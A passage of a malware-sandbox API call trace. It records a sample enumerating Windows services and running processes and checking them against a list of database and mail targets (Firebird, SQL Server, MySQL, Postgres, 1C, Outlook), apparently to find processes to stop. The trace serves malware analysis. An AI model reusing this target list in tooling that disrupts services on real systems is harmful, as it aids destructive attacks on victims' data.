lstrlenW (lpString="DcomLaunch") returned 10 [0030.935] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0030.935] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0030.935] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0030.935] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0030.935] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0030.935] lstrlenW (lpString="Dhcp") returned 4 [0030.935] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0030.936] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0030.936] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0030.936] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0030.936] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0030.936] lstrlenW (lpString="Dnscache") returned 8 [0030.936] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0030.936] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0030.936] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0030.936] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0030.936] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0030.936] lstrlenW (lpString="DPS") returned 3 [0030.936] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0030.936] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0030.936] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0030.936] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0030.936] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0030.936] lstrlenW (lpString="eventlog") returned 8 [0030.936] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0030.936] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0030.936] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0030.936] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0030.936] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0030.936] lstrlenW (lpString="EventSystem") returned 11 [0030.936] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0030.936] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0030.936] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0030.936] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0030.936] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0030.936] lstrlenW (lpString="gpsvc") returned 5 [0030.936] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0030.936] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0030.936] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0030.936] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0030.936] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0030.936] lstrlenW (lpString="iphlpsvc") returned 8 [0030.936] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0030.936] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0030.937] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0030.937] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0030.937] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0030.937] lstrlenW (lpString="LanmanServer") returned 12 [0030.937] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0030.937] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0030.937] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0030.937] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0030.937] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0030.937] lstrlenW (lpString="LanmanWorkstation") returned 17 [0030.937] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0030.937] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0030.937] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0030.937] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0030.937] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0030.937] lstrlenW (lpString="lmhosts") returned 7 [0030.937] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0030.937] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0030.937] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0030.937] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0030.937] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0030.937] lstrlenW (lpString="MMCSS") returned 5 [0030.937] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0030.937] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0030.937] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0030.937] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0030.937] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0030.937] lstrlenW (lpString="MpsSvc") returned 6 [0030.937] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0030.937] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0030.937] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0030.937] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0030.937] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0030.937] lstrlenW (lpString="Netman") returned 6 [0030.937] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0030.937] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0030.937] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0030.937] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0030.938] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0030.938] lstrlenW (lpString="netprofm") returned 8 [0030.938] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0030.938] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0030.938] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0030.938] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0030.938] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0030.938] lstrlenW (lpString="NlaSvc") returned 6 [0030.938] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0030.938] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0030.938] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0030.938] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0030.938] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0030.938] lstrlenW (lpString="nsi") returned 3 [0030.938] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0030.938] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0030.938] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0030.938] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0030.938] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0030.938] lstrlenW (lpString="PcaSvc") returned 6 [0030.938] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0030.938] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0030.938] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0030.938] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0030.938] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0030.938] lstrlenW (lpString="PlugPlay") returned 8 [0030.938] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0030.938] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0030.938] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0030.938] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0030.938] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0030.938] lstrlenW (lpString="Power") returned 5 [0030.938] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0030.938] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0030.938] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0030.938] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0030.938] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0030.939] lstrlenW (lpString="ProfSvc") returned 7 [0030.939] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0030.939] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0030.939] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0030.939] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0030.939] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0030.939] lstrlenW (lpString="RpcEptMapper") returned 12 [0030.939] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0030.939] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0030.939] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0030.939] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0030.939] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0030.939] lstrlenW (lpString="RpcSs") returned 5 [0030.939] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0030.939] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0030.939] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0030.939] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0030.939] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0030.939] lstrlenW (lpString="SamSs") returned 5 [0030.939] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0030.939] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0030.939] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0030.939] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0030.939] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0030.939] lstrlenW (lpString="Schedule") returned 8 [0030.939] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0030.939] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0030.939] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0030.939] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0030.939] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0030.939] lstrlenW (lpString="SENS") returned 4 [0030.939] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0030.939] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0030.939] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0030.939] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0030.939] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0030.939] lstrlenW (lpString="ShellHWDetection") returned 16 [0030.940] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0030.940] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0030.940] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0030.940] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0030.940] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0030.940] lstrlenW (lpString="Spooler") returned 7 [0030.940] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0030.940] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0030.940] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0030.940] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0030.940] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0030.940] lstrlenW (lpString="SysMain") returned 7 [0030.940] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0030.940] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0030.940] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0030.940] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0030.940] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0030.940] lstrlenW (lpString="Themes") returned 6 [0030.940] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0030.940] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0030.940] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0030.940] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0030.940] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0030.940] lstrlenW (lpString="TrkWks") returned 6 [0030.940] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0030.940] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0030.940] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0030.940] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0030.940] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0030.940] lstrlenW (lpString="UxSms") returned 5 [0030.940] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0030.940] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0030.940] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0030.940] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0030.940] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0030.940] lstrlenW (lpString="WdiServiceHost") returned 14 [0030.940] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0030.940] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0030.941] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0030.941] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0030.941] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0030.941] lstrlenW (lpString="WdiSystemHost") returned 13 [0030.941] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0030.941] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0030.941] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0030.941] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0030.941] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0030.941] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0030.941] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0030.941] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0030.941] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0030.941] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0030.941] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0030.941] lstrlenW (lpString="Winmgmt") returned 7 [0030.941] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0030.941] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0030.941] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0030.941] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0030.941] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0030.941] lstrlenW (lpString="WPDBusEnum") returned 10 [0030.941] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0030.941] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0030.941] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0030.941] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0030.941] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0030.941] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x2591e8 | out: hHeap=0x220000) returned 1 [0030.941] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xe0 [0030.944] Process32FirstW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0030.945] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0030.946] lstrlenW (lpString="System") returned 6 [0030.946] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0030.946] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0030.946] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0030.946] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0030.946] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0030.946] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0030.946] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0030.946] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0030.946] lstrlenW (lpString="smss.exe") returned 8 [0030.946] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0030.946] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0030.946] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0030.946] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0030.947] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0030.947] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0030.947] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0030.947] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0030.947] lstrlenW (lpString="csrss.exe") returned 9 [0030.947] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0030.947] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0030.947] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0030.947] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0030.947] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0030.947] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0030.947] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0030.947] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0030.948] lstrlenW (lpString="wininit.exe") returned 11 [0030.948] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0030.948] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0030.948] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0030.948] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0030.948] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0030.948] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0030.948] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0030.948] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0030.949] lstrlenW (lpString="csrss.exe") returned 9 [0030.949] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0030.949] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0030.949] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0030.949] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0030.949] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0030.949] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0030.949] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0030.949] lstrlenW (lpString="winlogon.exe") returned 12 [0030.949] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0030.950] lstrlenW (lpString="services.exe") returned 12 [0030.950] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0030.950] lstrlenW (lpString="lsass.exe") returned 9 [0030.950] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0030.951] lstrlenW (lpString="lsm.exe") returned 7 [0030.951] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0030.952] lstrlenW (lpString="svchost.exe") returned 11 [0030.952] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0030.952] lstrlenW (lpString="svchost.exe") returned 11 [0030.952] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0030.953] lstrlenW (lpString="svchost.exe") returned 11 [0030.953] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0030.953] lstrlenW (lpString="svchost.exe") returned 11 [0030.953] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0030.954] lstrlenW (lpString="svchost.exe") returned 11 [0030.954] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0030.954] lstrlenW (lpString="audiodg.exe") returned 11 [0030.954] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0030.955] lstrlenW (lpString="svchost.exe") returned 11 [0030.955] Process32NextW (in: 